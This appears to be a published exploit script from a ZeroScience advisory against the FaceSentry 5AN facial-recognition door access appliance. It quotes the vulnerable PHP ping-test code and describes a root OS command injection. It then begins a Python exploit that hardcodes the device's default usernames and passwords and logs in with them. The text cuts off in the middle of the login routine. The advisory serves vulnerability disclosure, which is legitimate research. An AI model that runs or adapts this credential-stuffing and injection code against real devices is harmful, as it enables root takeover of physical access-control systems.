Powered by standard PoE # (Power over Ethernet), FaceSEntry 5AN can be installed in # minutes with only 6 screws. FaceSentry 5AN is a true enterprise # grade access control or time-and-attendance appliance. # # Desc: FaceSentry suffers from an authenticated OS command # injection vulnerability using default credentials. This can # be exploited to inject and execute arbitrary shell commands # as the root user via the 'strInIP' POST parameter in pingTest # PHP script. # # ============================================================== # /pingTest.php: # -------------- # 8: if (!isAuth('TestTools','R')){ # 9: echo "No Permission"; # 10: include("footer.php"); # 11: exit; # 12: } # 13: # 14: if(isset($_POST["strInIP"])){ # 15: $strInIP = $_POST["strInIP"]; # 16: }else{ # 17: $strInIP = ""; # 18: } # 19: # 20: $strOperationResult = ""; # 21: if ($strInIP != ""){ # 22: # 23: $out = array(); # 24: exec("sudo ping -c 4 $strInIP",$out); # 25: $result = ""; # 26: foreach($out as $line){ # 27: $result = $result.$line."<br>"; # 28: } # ============================================================== # # Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus) # Linux 3.4.113-sun8i (armv7l) # PHP/7.0.30-0ubuntu0.16.04.1 # PHP/7.0.22-0ubuntu0.16.04.1 # lighttpd/1.4.35 # Armbian 5.38 # Sunxi Linux (sun8i generation) # Orange Pi PC + # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2019-5525 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5525.php # # # 28.05.2019 # import datetime########INITIALIZE import urllib2#########BIOMETRICS import urllib##########FACIAL.REC import time############OGNITION.S import sys##(.)###(.)##YSTEM.DOOR import re#######O######UNLOCKED.A import os#######_######CCESS.GRAN import io######(_)#####TED.0B1000 import py##############1.11111011 from cookielib import CookieJar global pajton pajton = os.path.basename(sys.argv[0]) def usage(): if len(sys.argv) < 2: print '[+] Usage: ./' + pajton + ' <ip>\n' sys.exit() def auth(): brojac = 0 usernames = [ 'admin', 'user', 'administrator' ] # case sensitive passwords = [ '123', '123', '123456' ] while brojac < 3: podatoci = { 'strInLogin' : usernames[brojac], 'strInPassword' : passwords[brojac], 'saveLogin' : '1', 'saveFor' : '168' } # 7 days print '[+] Trying creds ' + usernames[brojac] + ':' + passwords[brojac] nesto_encode = urllib.urlencode(podatoci) ajde.open('http://' + target + '/login.php', nesto_encode) check = ajde.open('http://' + target + '/sentryInfo.php') dool = re.search(r'Hardware Key', check.read()) if dool: print '[+] That worked!' break else: brojac += 1 if brojac == 3: print '[!] Ah ah ah.
